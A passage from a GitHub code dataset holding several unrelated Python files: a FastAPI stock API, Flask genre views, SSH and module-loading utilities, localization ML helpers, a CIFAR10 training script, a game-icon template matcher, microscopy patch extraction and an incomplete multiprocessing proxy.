json.load(f)['products']\n    return products\n\n@app.get(\"/product/{id_product}\", tags=[\"Get product\"], summary=\"Lista produto específico do estoque\")\nasync def get_product(id_product: int):\n    with open('stock.json', 'r') as f:\n        products = json.load(f)['products']\n\n    for product in products:\n        if product[\"id\"] == id_product:\n            return product\n    raise HTTPException(status_code=404, detail=\"Product not found\")\n\n@app.post(\"/product\", tags=[\"Create product\"], summary=\"Cria um produto no estoque\")\nasync def create_product(product: Product):\n\n    verify_restrictions(product)\n    save_product(product)\n\n    return \"Product created successfully\"\n\n@app.patch(\"/product\", tags=[\"Update product\"], summary=\"Atualiza um produto no estoque\")\nasync def update_product(product: Product):\n    with open('stock.json', 'r') as f:\n        products = json.load(f)['products']\n\n    verify_restrictions(product, False)\n\n    update_product = product.dict()\n\n    for stock_product in products:\n        if stock_product[\"id\"] == update_product[\"id\"]:\n            stock_product[\"name\"] = update_product[\"name\"]\n            stock_product[\"price\"] = update_product[\"price\"]\n            stock_product[\"quantity\"] = update_product[\"quantity\"]\n            break\n\n    with open('stock.json', 'w') as f:\n        json.dump({\"products\": products}, f, separators=(',',': '), indent=4)\n\n    return \"Product updated successfully\"\n\n@app.delete(\"/product/{id_product}\", tags=[\"Delete product\"], summary=\"Deleta um produto do estoque\")\nasync def delete_product(id_product: int):\n    with open('stock.json', 'r') as f:\n        products = json.load(f)['products']\n\n    if id_product < 0:\n        raise HTTPException(status_code=400, detail=\"Id cannot be negative\")\n\n    if id_product not in [product[\"id\"] for product in products]:\n        raise HTTPException(status_code=400, detail=\"Product doens't exists\")\n\n    filtered_products = [product for product in products if product['id'] != id_product]\n    print(filtered_products)\n\n    with open('stock.json', 'w') as f:\n        json.dump({\"products\": filtered_products}, f, separators=(',',': '), indent=4)\n    \n    return \"Product deleted successfully\"","repo_name":"Lahiry/Projeto_MegaDados","sub_path":"Fase_01/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20894997814","text":"from flask import request\nfrom flask_restx import Resource, Namespace\n\nfrom app.container import genre_service\nfrom app.dao.models.genre import GenreSchema\nfrom decorators import auth_required, admin_required\n\n\ngenres_ns = Namespace('genres')\n\ngenre_schema = GenreSchema()\ngenres_schema = GenreSchema(many=True)\n\n\n@genres_ns.route('/')\nclass GenresView(Resource):\n    @auth_required\n    def get(self):\n        all_genres = genre_service.get_all()\n        return genres_schema.dump(all_genres), 200\n\n    @admin_required\n    def post(self):\n        request_json = request.json\n\n        genre_service.create(request_json)\n\n        return \"New genre successfully added.\", 201\n\n\n@genres_ns.route('/<int:id>')\nclass GenreView(Resource):\n    @auth_required\n    def get(self, id):\n        genre = genre_service.get_one(id)\n        return genre_schema.dump(genre), 200\n\n    @admin_required\n    def put(self, id):\n        request_json = request.json\n        request_json[\"id\"] = id\n\n        genre_service.update(request_json)\n\n        return \"Genre updated successfully.\", 204\n\n    @admin_required\n    def delete(self, id):\n        genre_service.delete(id)\n\n        return \"Genre deleted successfully\", 204\n","repo_name":"SeekersDream1901/Homework_19-hard_level-","sub_path":"app/views/genres.py","file_name":"genres.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17042880153","text":"'''\nCreated on Dec 28, 2021\n\n@author: vladyslav_goncharuk\n'''\n\nimport os\nimport io\nimport sys\nimport fcntl\nimport struct\nimport termios\nimport glob\nimport imp\n\ndef has_fileno(stream):\n    \"\"\"\n    Cleanly determine whether ``stream`` has a useful ``.fileno()``.\n    .. note::\n        This function helps determine if a given file-like object can be used\n        with various terminal-oriented modules and functions such as `select`,\n        `termios`, and `tty`. For most of those, a fileno is all that is\n        required; they'll function even if ``stream.isatty()`` is ``False``.\n    :param stream: A file-like object.\n    :returns:\n        ``True`` if ``stream.fileno()`` returns an integer, ``False`` otherwise\n        (this includes when ``stream`` lacks a ``fileno`` method).\n    .. versionadded:: 1.0\n    \"\"\"\n    try:\n        return isinstance(stream.fileno(), int)\n    except (AttributeError, io.UnsupportedOperation):\n        return False\n\ndef isatty(stream):\n    \"\"\"\n    Cleanly determine whether ``stream`` is a TTY.\n    Specifically, first try calling ``stream.isatty()``, and if that fails\n    (e.g. due to lacking the method entirely) fallback to `os.isatty`.\n    .. note::\n        Most of the time, we don't actually care about true TTY-ness, but\n        merely whether the stream seems to have a fileno (per `has_fileno`).\n        However, in some cases (notably the use of `pty.fork` to present a\n        local pseudoterminal) we need to tell if a given stream has a valid\n        fileno but *isn't* tied to an actual terminal. Thus, this function.\n    :param stream: A file-like object.\n    :returns:\n        A boolean depending on the result of calling ``.isatty()`` and/or\n        `os.isatty`.\n    .. versionadded:: 1.0\n    \"\"\"\n    # If there *is* an .isatty, ask it.\n    if hasattr(stream, \"isatty\") and callable(stream.isatty):\n        return stream.isatty()\n    # If there wasn't, see if it has a fileno, and if so, ask os.isatty\n    elif has_fileno(stream):\n        return os.isatty(stream.fileno())\n    # If we got here, none of the above worked, so it's reasonable to assume\n    # the darn thing isn't a real TTY.\n    return False\n\ndef bytes_to_read(input_):\n    \"\"\"\n    Query stream ``input_`` to see how many bytes may be readable.\n    .. note::\n        If we are unable to tell (e.g. if ``input_`` isn't a true file\n        descriptor or isn't a valid TTY) we fall back to suggesting reading 1\n        byte only.\n    :param input: Input stream object (file-like).\n    :returns: `int` number of bytes to read.\n    .. versionadded:: 1.0\n    \"\"\"\n    # NOTE: we have to check both possibilities here; situations exist where\n    # it's not a tty but has a fileno, or vice versa; neither is typically\n    # going to work re: ioctl().\n    if not os.name == 'nt' and isatty(input_) and has_fileno(input_):\n        fionread = fcntl.ioctl(input_, termios.FIONREAD, \"  \")\n        return struct.unpack(\"h\", fionread)[0]\n    return 1\n\ndef load_module(absolute_path):\n\n    print(f\"Attempt to load module - {absolute_path}\")\n\n    import importlib.util\n    module_name, _ = os.path.splitext(os.path.split(absolute_path)[-1])\n    try:\n        py_mod = imp.load_source(module_name, absolute_path)\n    except ImportError as e:\n        if \"No module named\" not in e.msg:\n            raise e\n\n        missing_module = e.name\n        module_root = os.path.dirname(absolute_path)\n\n        if missing_module + \".py\" not in os.listdir(module_root):\n            msg = \"Could not find '{}' in '{}'\"\n            raise ImportError(msg.format(missing_module, module_root))\n\n        print(\"Could not directly load module, including dir: {}\".format(module_root))\n        spec = importlib.util.spec_from_file_location(module_name, absolute_path)\n        py_mod = importlib.util.module_from_spec(spec)\n        spec.loader.exec_module(py_mod)\n    return module_name, py_mod\n\ndef load_all_modules_in_dir(module_root_dir):\n\n    if not os.path.isdir(module_root_dir):\n        raise Exception(f\"Provided path '{module_root_dir}' is not a directory!\")\n\n    sys.path.insert(0, module_root_dir)\n\n    found_python_files = glob.glob(f\"{module_root_dir}/*.py\")\n\n    result = {}\n\n    for found_python_file in found_python_files:\n        if os.path.isfile(found_python_file) and not found_python_file.endswith('__init__.py'):\n            loaded_module_name, loaded_module = load_module(found_python_file)\n\n            if loaded_module:\n                result[loaded_module_name] = loaded_module\n\n    for file in os.listdir(module_root_dir):\n        d = os.path.join(module_root_dir, file)\n        if os.path.isdir(d) and d != os.path.join(module_root_dir, \"__pycache__\"):\n            result.update(load_all_modules_in_dir(d))\n\n    return result\n\ndef load_all_modules_in_dirs(module_paths):\n    result = {}\n    for module_path in module_paths:\n        result.update(load_all_modules_in_dir(module_path))\n    return result\n\ndef create_class_instance(full_class_name, loaded_modules):\n    _, module_name, class_name = full_class_name.rsplit('.', 2)\n    module = loaded_modules.get(module_name)\n\n    result = None\n\n    if module:\n        result = getattr(module, class_name)\n    else:\n        raise Exception(f\"Module '{module_name}' is not loaded.\")\n\n    return result\n\ndef get_terminal_dimensions():\n    if isatty(sys.stdout):\n        s = struct.pack('HHHH', 0, 0, 0, 0)\n        t = fcntl.ioctl(sys.stdout.fileno(), termios.TIOCGWINSZ, s)\n        winsize = struct.unpack('hhhh', t)\n        return winsize[1], winsize[0]\n    else:\n        return None, None\n\ndef exec_command(\n        paramiko_ssh_client,\n        command,\n        bufsize=-1,\n        timeout=None,\n        environment=None,\n        terminal_width = 80,\n        terminal_height = 24\n    ):\n    chan = paramiko_ssh_client._transport.open_session(timeout=timeout)\n    if isatty(sys.stdout):\n        chan.get_pty(width=terminal_width, height=terminal_height)\n    chan.settimeout(timeout)\n    if environment:\n        chan.update_environment(environment)\n    chan.exec_command(command)\n    stdin = chan.makefile_stdin(\"wb\", bufsize)\n    stdout = chan.makefile(\"r\", bufsize)\n    stderr = chan.makefile_stderr(\"r\", bufsize)\n    return stdin, stdout, stderr","repo_name":"svlad-90/paf","sub_path":"paf/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":6193,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"25308574878","text":"import heapq\nimport itertools\nfrom collections import defaultdict\n\nimport pandas as pd\nimport numpy as np\nimport plotly.express as px\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom sklearn.multioutput import MultiOutputRegressor\nfrom utils.theoretical_approximation import cartesian_cross_product\n\n\ndef get_samples_by_points_num(df, points):\n    grouped = df.groupby([\"Point\"])\n    ret_df = grouped.get_group(points[0])\n    for i in points[1:]:\n        ret_df = ret_df.append(grouped.get_group(i))\n    ret_df.reset_index(drop=True)\n    return ret_df\n\n\ndef split_data(df, points_num, train_part, validation_part, test_part):\n    assert train_part + validation_part + test_part == 1\n    division = (np.array(\n        points_num*np.array([train_part, validation_part, test_part]))).astype(int)\n    assert np.sum(division) == points_num\n    for i in range(1, len(division)):\n        division[i] += division[i-1]\n    division = division[:-1]\n\n    return itertools.chain.from_iterable(\n        map(lambda data: (data.drop(columns=[\"Point\", \"Square\", \"Orientation\"]), data[\"Square\"]),\n            map(lambda points: get_samples_by_points_num(df, points),\n                np.split(np.random.permutation(np.arange(points_num)), division))))\n\n\ndef split_data_regression(df, points_num, train_part, validation_part, test_part):\n    assert train_part + validation_part + test_part == 1\n    division = (np.array(\n        points_num*np.array([train_part, validation_part, test_part]))).astype(int)\n    assert np.sum(division) == points_num\n    for i in range(1, len(division)):\n        division[i] += division[i-1]\n    division = division[:-1]\n\n    return itertools.chain.from_iterable(\n        map(lambda data: (data.drop(columns=[\"Point\", \"Square\", \"Orientation\", \"x\", \"y\"]), data[[\"x\", \"y\"]]),\n            map(lambda points: get_samples_by_points_num(df, points),\n                np.split(np.random.permutation(np.arange(points_num)), division))))\n\n\ndef split_data_regression_cv(df, points_num, n_splits):\n    division = np.split(np.random.permutation(np.arange(points_num)), n_splits)\n\n    for i in range(len(division)):\n        train = np.hstack(division[:i] + division[i+1:])\n        test = division[i]\n        yield itertools.chain.from_iterable(\n            map(lambda data: (data.drop(columns=[\"Point\", \"Square\", \"Orientation\", \"x\", \"y\"]), data[[\"x\", \"y\"]]),\n                map(lambda points: get_samples_by_points_num(df, points), [train, test])))\n\n\ndef show_scores(model,X_test,Y_test):\n    predicted = model.predict(X_test)\n    print(\"Number of mislabeled points out of a total %d points : %d\"% (X_test.shape[0], (Y_test != predicted).sum()))\n    probabilities = model.predict_proba(X_test)\n    selected = []\n    for i in probabilities:\n        d = dict()\n        for x,y in enumerate(i):\n            d[x]=y\n        selected.append(d)\n    topFive = [heapq.nlargest(5,d,key=d.get)for d in selected]\n    failed = 0\n    for x,y in enumerate(topFive):\n        if Y_test.iloc[x] not in y:\n            failed+=1\n    print(\"Number of points not in top 5 predicted probabilities total points: %d; failed: %d\"% (X_test.shape[0], failed))\n\n\ndef visualize_errors(model, X_train, y_train, X_test, y_test):\n    predicted = model.predict(X_test)\n\n    X_train[\"Square\"] = y_train.apply(str)\n    X_test[\"Square\"] = y_test.apply(str)\n\n    X_train[\"correct_predict\"] = y_train.apply(lambda x: \"train\")\n    X_test[\"correct_predict\"] = (y_test == predicted)\n    df_tmp = pd.concat([X_train, X_test], ignore_index=True )\n    # Plotly visualization\n    fig = px.scatter_3d(df_tmp, x=\"Server-RSSI-1\",\n                                y=\"Server-RSSI-2\",\n                                z=\"Server-RSSI-3\",\n                                color=\"Square\",\n                                symbol='correct_predict')\n    fig = fig.update_traces(marker=dict(size=8,\n                                  line=dict(width=1,\n                                            color='DarkSlateGrey')),\n                  selector=dict(mode='markers'))\n    fig.show()\n    X_train.drop([\"correct_predict\", \"Square\"], axis=1, inplace=True)\n    X_test.drop([\"correct_predict\", \"Square\"], axis=1, inplace=True)\n\n\ndef show_scores_per_point(model, X_test, y_test):\n    predicted = model.predict(X_test)\n    results = defaultdict(int)\n    for i in range(X_test.shape[0]):\n        results[y_test.iloc[i]] += y_test.iloc[i] != predicted[i]\n\n    print(\"Accuracy of classifier for each square: \", end=\"\")\n    for sq in range(len(results)):\n        if sq % 3 == 0:\n            print()\n        print(\"%.2f\" % (1-results[sq]/y_test.groupby(y_test).get_group(sq).shape), end=\" \")\n    print()\n\n\ndef calc_mean_df(df, merge_points_num=10):\n    mean_df = pd.DataFrame(columns=df.columns)\n\n    grouped_by_square = df.groupby([\"Square\"])\n    for square_group in grouped_by_square.groups:\n        grouped_by_point = grouped_by_square.get_group(square_group).groupby([\"Point\"])\n        for point_group in grouped_by_point.groups:\n            point = grouped_by_point.get_group(point_group)\n            mean_df = mean_df.append(pd.DataFrame(\n                np.mean(np.array([point.iloc[range(0, len(point), int(len(point)/merge_points_num))].values\n                                  for i in range(merge_points_num)]), axis=0),\n                columns=mean_df.columns))\n    mean_df.reset_index(drop=True)\n    return mean_df\n\n\ndef add_coordinates(df):\n    square_to_top_left_corner_map = {\n        \"s0\": (0, 400), \"s1\": (100, 400), \"s2\": (200, 400),\n        \"s3\": (0, 300), \"s4\": (100, 300), \"s5\": (200, 300),\n        \"s6\": (0, 200), \"s7\": (100, 200), \"s8\": (200, 200),\n        \"s9\": (0, 100), \"s10\": (100, 100),\"s11\": (200, 100)\n    }\n\n    point_to_coord_map = {0: (20, -20), 1: (50, -20), 2: (80, -20),\n                          7: (40, -50), 8: (50, -50), 9: (54, -50), 3: (80, -50),\n                          6: (40, -80), 5: (50, -80), 4: (80, -80)\n    }\n\n    df[[\"x\", \"y\"]] =  pd.DataFrame(df[\"Square\"].map(square_to_top_left_corner_map).to_list(), columns=[\"x\", \"y\"])\n\n    df[\"x\"] = df[\"x\"] + df[\"Point\"].apply(lambda x: point_to_coord_map[x//4][0])\n    df[\"y\"] = df[\"y\"] + df[\"Point\"].apply(lambda x: point_to_coord_map[x//4][1])\n    return df\n\n\ndef draw_regression_accuracy(df, points_num, x_len, y_len, cv_n_split, base_model, params):\n    res = pd.DataFrame(columns=[\"x\", \"y\", \"accuracy\"])\n    for X_train, y_train, X_test, y_test in split_data_regression_cv(df, points_num, cv_n_split):\n        model = MultiOutputRegressor(base_model(**params))\n        model.fit(X_train, y_train)\n        predicted = model.predict(X_test)\n        res = pd.concat([res, pd.DataFrame({\"x\": y_test[\"x\"].values, \"y\": y_test[\"y\"].values, \"accuracy\": np.apply_along_axis(lambda x: (x[0]**2 + x[1]**2)**0.5, 1, np.abs(predicted - y_test))})])\n\n    mean_res = res.groupby([\"x\", \"y\"]).mean().reset_index()\n\n    coords = mean_res[[\"x\", \"y\"]].values\n\n    field = np.zeros((y_len,x_len))\n    for p in cartesian_cross_product(np.arange(field.shape[1]), np.arange(field.shape[0])):\n        field[p[1], p[0]] = mean_res.iloc[np.apply_along_axis(lambda x: (x[0]**2 + x[1]**2)**0.5, 1, np.abs(coords - p)).argmin(), 2]\n\n    field = np.flip(field, 0)\n    fig, ax = plt.subplots(figsize=(10,10))\n    sns.heatmap(field, ax=ax, xticklabels=False,yticklabels=False,cmap=\"coolwarm_r\")\n","repo_name":"Midren/Localization","sub_path":"notebooks/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16420976276","text":"import torch.nn as nn\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torchvision.datasets import CIFAR10\nfrom torchvision import transforms\n\ndatasets = CIFAR10(\n    root=r'cifar',\n    train=False,\n    transform=transforms.ToTensor(),\n    download=True,\n)\n\ndataloader = DataLoader(datasets, batch_size=64)\n\n\nclass Model(nn.Module):\n    def __init__(self):\n        super(Model, self).__init__()\n        self.seqls1 = nn.Sequential(\n            nn.Conv2d(in_channels=3, out_channels=32, kernel_size=5, padding=2, stride=1),\n            nn.MaxPool2d(kernel_size=2),\n            nn.Conv2d(in_channels=32, out_channels=32, kernel_size=5, stride=1, padding=2),\n            nn.MaxPool2d(kernel_size=2),\n            nn.Conv2d(in_channels=32, out_channels=64, kernel_size=5, stride=1, padding=2),\n            nn.MaxPool2d(kernel_size=2),\n            nn.Flatten(),\n            nn.Linear(1024, 64),\n            nn.Linear(64, 10)\n        )\n\n    def forward(self, x):\n        x = self.seqls1(x)\n        return x\n\n\nmodel = Model()\n\n# test code\n# tensor = torch.ones([1, 3, 32, 32], dtype=torch.float)\n# print(model(tensor).shape)\n\noptim = torch.optim.SGD(model.parameters(), lr=0.05)\nloss_fn = nn.CrossEntropyLoss()\nfor epoch in range(10):\n    running_loss = 0.0\n    for idx, (imgs, targets) in enumerate(dataloader):\n        output = model(imgs)\n        loss = loss_fn(output, targets)\n        optim.zero_grad()\n        loss.backward()\n        optim.step()\n        running_loss += loss\n    print(running_loss)\n","repo_name":"fl0w2Bloom/note","sub_path":"torch/nn_optim.py","file_name":"nn_optim.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"10821208745","text":"import cv2\nimport numpy as np\n\n# status effects above character center point : 780,607\n# status effects top left : 738,597\n# status effects bottom right : 822,616\n\n# in paint, the coordinates are displayed as cols, rows\n\ndef find_confuse_status(img, tpl):\n    \n    # roi_status_effect_rows = slice(597,616)\n    # roi_status_effect_cols = slice(738,822)\n\n    # roi_status_effect = img[roi_status_effect_rows, roi_status_effect_cols]\n    # cv2.imshow('Status effect area', roi_status_effect)\n    \n    # im = np.atleast_3d(roi_status_effect)\n    \n    im = np.atleast_3d(img)\n    tpl = np.atleast_3d(tpl)\n    H, W, D = im.shape[:3]\n    h, w = tpl.shape[:2]\n\n    # Integral image and template sum per channel\n    sat = im.cumsum(1).cumsum(0)\n    tplsum = np.array([tpl[:, :, i].sum() for i in range(D)])\n\n    # Calculate lookup table for all the possible windows\n    iA, iB, iC, iD = sat[:-h, :-w], sat[:-h, w:], sat[h:, :-w], sat[h:, w:] \n    lookup = iD - iB - iC + iA\n    # Possible matches\n    possible_match = np.where(np.logical_and.reduce([lookup[..., i] == tplsum[i] for i in range(D)]))\n\n    # Find exact match\n    for y, x in zip(*possible_match):\n        if np.all(im[y+1:y+h+1, x+1:x+w+1] == tpl):\n            return (y+1, x+1)\n\n    # raise Exception(\"Image not found\")\n    return None\n    \ndef main():\n    im = cv2.imread('./confuse_img_2.png')\n    template = cv2.imread('./confuse_icon.png')\n\n    print(find_confuse_status(im, template))\n   \nif __name__ == '__main__':\n    main()","repo_name":"SwatSid/rotmg_scripts","sub_path":"confuse_detect.py","file_name":"confuse_detect.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25119026632","text":"import numpy as np\nimport os\nimport logging\nimport matplotlib\nimport pandas as pd\n\nfrom plot.plotting import save_single_cell_im\nfrom utils.config_reader import YamlReader\n\nmatplotlib.use('AGG')\nfrom utils.patch_utils import check_segmentation_dim, select_window\n\nlog = logging.getLogger('dynacontrast.log')\n\ndef get_patches_mp(raw_folder: str,\n                   supp_folder: str,\n                   sites: list,\n                   config: YamlReader,\n                   **kwargs):\n    \"\"\" Helper function for patch extraction\n\n    Wrapper method `get_patches` will be called, which\n    extracts individual cells from static frames for each site.\n\n    Results will be saved in the supplementary data folder, including:\n        \"stacks_*.pkl\": single cell patches for each time slice\n\n    Args:\n        raw_folder (str): folder for raw data, segmentation and\n            summarized results\n        supp_folder (str): folder for supplementary data\n        sites (list of str): list of site names\n        config (YamlReader): config file supplied at CLI\n    \"\"\"\n    channels = config.preprocess.channels\n    crop_size = config.preprocess.crop_size\n    save_fig = config.preprocess.save_fig\n    skip_boundary = config.preprocess.skip_boundary\n\n    for site in sites:\n        site_path = os.path.join(raw_folder + '/' + site + '.npy')\n        site_supp_files_folder = os.path.join(supp_folder, '%s-supps' % site[:2], '%s' % site)\n        if not os.path.exists(site_path):\n            print(\"Site data not found %s\" % site_path, flush=True)\n        if not os.path.exists(site_supp_files_folder):\n            print(\"Site supp folder not found %s\" % site_supp_files_folder, flush=True)\n        meta_path = os.path.join(site_supp_files_folder, 'patch_meta.csv')\n        if not os.path.isfile(meta_path): # skip position with no cells\n            log.warning('No patch_meta.csv is found in {}. Skipping...'.format(site_supp_files_folder))\n            # print('No cell is detected for position {}'.format(site))\n            continue\n\n        try:\n            get_patches(site_path,\n                        site_supp_files_folder,\n                        crop_size=crop_size,\n                        channels=channels,\n                        save_fig=save_fig,\n                        skip_boundary=skip_boundary,\n                        **kwargs)\n        except Exception as e:\n            log.error('Extracting patches failed for {}. '.format(site_supp_files_folder))\n            log.exception('')\n            # print('Extracting patches failed for position {}. '.format(site))\n            # raise e\n    return\n\ndef get_patches(site_path,\n                site_supp_files_folder,\n                crop_size=256,\n                channels=None,\n                save_fig=False,\n                skip_boundary=False,\n                ):\n    \"\"\" Wrapper method for patch extraction\n\n    Supplementary files generated by `find_cells` will\n    be loaded for each site, then individual cells from static frames will be\n    extracted and saved.\n\n    Results will be saved in supplementary data folder, including:\n        \"stacks_*.pkl\": single cell patches for each time slice\n\n    Args:\n        site_path (str): path to image stack (.npy)\n        site_segmentation_path (str): path to semantic segmentation stack (.npy)\n        site_supp_files_folder (str): path to the folder where supplementary \n            files will be saved\n        crop_size (int, optional): default=256, x, y size of the patch\n        channels (list, optional): channels to extract patches. Default is all the channels\n        save_fig (bool, optional): if to save extracted patches (with\n            segmentation mask)\n        reload (bool, optional): if to load existing stack dat files\n        skip_boundary (bool, optional): if to skip patches whose edges exceed\n            the image size (do not pad)\n\n    \"\"\"\n\n    # Load data\n    image_stack = np.load(site_path)\n    meta_path = os.path.join(site_supp_files_folder, 'patch_meta.csv')\n    df_meta = pd.read_csv(meta_path, index_col=0, converters={\n        'cell position': lambda x: np.fromstring(x.strip(\"[]\"), sep=' ', dtype=np.int32)})\n    n_z = 1\n    if image_stack.ndim == 5:\n        n_frames, n_channels, n_z, x_full_size, y_full_size = image_stack.shape\n    elif image_stack.ndim == 4:\n        n_frames, n_channels, x_full_size, y_full_size = image_stack.shape\n        image_stack = np.expand_dims(image_stack, axis=2)\n    else:\n        raise ValueError('Input image must be 4 or 5D, not {}'.format(image_stack.ndim))\n    if channels is None:\n        channels = list(range(n_channels))\n    image_stack = image_stack[:, channels, ...]\n    for t_point in range(n_frames):\n        for z in range(n_z):\n            # print(\"processing timepoint {} z {}\".format(t_point, z))\n            stack_dat_path = os.path.join(site_supp_files_folder, 'patches_t{}_z{}.npy'.format(t_point, z))\n            # print('Writing timepoint {} z {}'.format(t_point, z))\n            raw_image = image_stack[t_point, :, z, ...]\n            df_meta_tz = df_meta.loc[(df_meta['time'] == t_point) & (df_meta['slice'] == z), :]\n            all_cells = df_meta_tz.loc[:, ['cell ID', 'cell position']].to_numpy()\n            # Save all cells in this step, filtering will be performed during analysis\n            cell_patches = []\n            for cell_id, cell_position in all_cells:\n                # print(\"cell_id : {}, cell position: {}\".format(cell_id, cell_position))\n                # Define window based on cell center and extract mask\n                window = [(cell_position[0]- crop_size//2, cell_position[0]+ crop_size//2),\n                          (cell_position[1]- crop_size//2, cell_position[1]+ crop_size//2)]\n                cell_patch = select_window(raw_image, window, padding=0, skip_boundary=skip_boundary)\n                if cell_patch is None:\n                    # drop cell that did not get patched\n                    df_meta.drop(df_meta[(df_meta['cell ID'] == cell_id) &\n                                         (df_meta['time'] == t_point) &\n                                         (df_meta['slice'] == z)].index, inplace=True)\n                else:\n                    cell_patches.append(cell_patch)\n                    if save_fig:\n                        im_path = os.path.join(site_supp_files_folder, 'patch_t{}_z{}_cell{}'.format(t_point, z, cell_id))\n                        save_single_cell_im(cell_patch, im_path)\n            if cell_patches:\n                cell_patches = np.stack(cell_patches)\n                with open(stack_dat_path, 'wb') as f:\n                    # print(f\"save patches to {stack_dat_path}\")\n                    np.save(f, cell_patches)\n    df_meta.reset_index(drop=True, inplace=True)\n    df_meta.to_csv(meta_path, sep=',')\n\n\n","repo_name":"mehta-lab/dynacontrast","sub_path":"preprocess/extract_patches.py","file_name":"extract_patches.py","file_ext":"py","file_size_in_byte":6776,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"17703299271","text":"\"\"\"\n\"\"\"\n\n__author__  = \"Xun Li <xunli@asu.edu>\"\n__all__ = ['MultiCoreProxy']\n\nimport os\nfrom multiprocessing import *\n\nclass TaskProcessor:\n    \"\"\"\n    The TaskProcessor class provides the functions necessary to process each task.\n    \"\"\"\n    def __init__(self, numcalcs):\n        \"\"\"\n        Initialise the TaskProcessor.\n        \"\"\"\n        self.numcalcs = numcalcs\n \n    def calculate(self, angle_deg):\n        \"\"\"\n        Calculate the result of a task.\n        \"\"\"\n        result = 0\n        for i in range(self.numcalcs):\n            angle_rad = math.radians(angle_deg)\n            result += math.tanh(angle_rad)/math.cosh(angle_rad)/self.numcalcs\n        return ( angle_deg, result )\n    \nclass ObjectDispatcher:\n    \"\"\"\n    The Dispatcher class manages the task and result queues.\n    \"\"\"\n    def __init__(self):\n        \"\"\"\n        Initialise the Dispatcher.\n        \"\"\"\n        self.taskQueue = Queue()\n        self.resultQueue = Queue()\n \n    def putTask(self, task):\n        \"\"\"\n        Put a task on the task queue.\n        \"\"\"\n        self.taskQueue.put(task)\n \n    def getTask(self):\n        \"\"\"\n        Get a task from the task queue.\n        \"\"\"\n        return self.taskQueue.get()\n \n    def putResult(self, output):\n        \"\"\"\n        Put a result on the result queue.\n        \"\"\"\n        self.resultQueue.put(output)\n \n    def getResult(self):\n        \"\"\"\n        Get a result from the result queue.\n        \"\"\"\n        return self.resultQueue.get()\n    \nclass MultiCoreProxy:\n    \"\"\"\n    The MultiCoreServer class provides a target worker class method for queued processes.\n    \"\"\"\n    def __init__(self, numprocesses=1, tasks=[ ]):\n        \"\"\"\n        Initialise the TaskServerMP and create the dispatcher and processes.\n        \"\"\"\n        self.numprocesses = numprocesses\n        self.Tasks = tasks\n        self.numtasks = len(tasks)\n \n        # Create the dispatcher\n        self.dispatcher = Dispatcher()\n \n        self.Processes = [ ]\n \n        # The worker processes must be started here!\n        for n in range(numprocesses):\n            process = Process(target=MultiCoreProxy.worker, args=(self.dispatcher,))\n            process.start()\n            self.Processes.append(process)\n \n        self.timeStart = 0.0\n        self.timeElapsed = 0.0\n        self.timeRemain = 0.0\n        self.processTime = { }\n \n        # Set some program flags\n        self.keepgoing = True\n        self.i = 0\n        self.j = 0\n \n    def run(self):\n        \"\"\"\n        Run the MultiCoreProxy- start, stop & terminate processes.\n        \"\"\"\n        if (self.numprocesses == 0):\n            sys.stdout.write(' (no extra processes)')\n        sys.stdout.write('\\nUnordered results...\\n')\n        self.processTasks(self.update)\n        if (self.keepgoing):\n            sys.stdout.write('Time elapsed: %s\\n' % time.strftime('%M:%S', time.gmtime(self.timeElapsed)))\n        if (self.numprocesses > 0):\n            sys.stdout.write(\"Waiting for processes to terminate...\")\n            self.processTerm()\n \n    def processTasks(self, resfunc=None):\n        \"\"\"\n        Start the execution of tasks by the processes.\n        \"\"\"\n        self.keepgoing = True\n \n        self.timeStart = time.time()\n        # Set the initial process time for each\n        for n in range(self.numprocesses):\n            pid_str = '%d' % self.Processes[n].pid\n            self.processTime[pid_str] = 0.0\n \n        # Submit first set of tasks\n        if (self.numprocesses == 0):\n            numprocstart = 1\n        else:\n            numprocstart = min(self.numprocesses, self.numtasks)\n        for self.i in range(numprocstart):\n            self.dispatcher.putTask(self.Tasks[self.i])\n \n        self.j = -1\n        self.i = numprocstart - 1\n        while (self.j < self.i):\n            # Get and print results\n            output = self.getOutput()\n            # Execute some function (Yield to a wx.Button event)\n            if (isinstance(resfunc, (types.FunctionType, types.MethodType))):\n                resfunc(output)\n            if ((self.keepgoing) and (self.i + 1 < self.numtasks)):\n                # Submit another task\n                self.i += 1\n                self.dispatcher.putTask(self.Tasks[self.i])\n \n    def processStop(self, resfunc=None):\n        \"\"\"\n        Stop the execution of tasks by the processes.\n        \"\"\"\n        self.keepgoing = False\n \n        while (self.j < self.i):\n            # Get and print any results remining in the done queue\n            output = self.getOutput()\n            if (isinstance(resfunc, (types.FunctionType, types.MethodType))):\n                resfunc(output)\n \n    def processTerm(self):\n        \"\"\"\n        Stop the execution of tasks by the processes.\n        \"\"\"\n        for n in range(self.numprocesses):\n            # Terminate any running processes\n            self.Processes[n].terminate()\n \n        # Wait for all processes to stop\n        while (self.anyAlive()):\n            time.sleep(0.5)\n \n    def anyAlive(self):\n        \"\"\"\n        Check if any processes are alive.\n        \"\"\"\n        isalive = False\n        for n in range(self.numprocesses):\n            isalive = (isalive or self.Processes[n].is_alive())\n        return isalive\n \n    def getOutput(self):\n        \"\"\"\n        Get the output from one completed task.\n        \"\"\"\n        self.j += 1\n \n        if (self.numprocesses == 0):\n            # Use the single-process method\n            self.worker_sp()\n \n        output = self.dispatcher.getResult()\n        # Calculate the time remaining\n        self.timeRemaining(self.j + 1, self.numtasks, output['process']['pid'])\n \n        return(output)\n \n    def timeRemaining(self, tasknum, numtasks, pid):\n        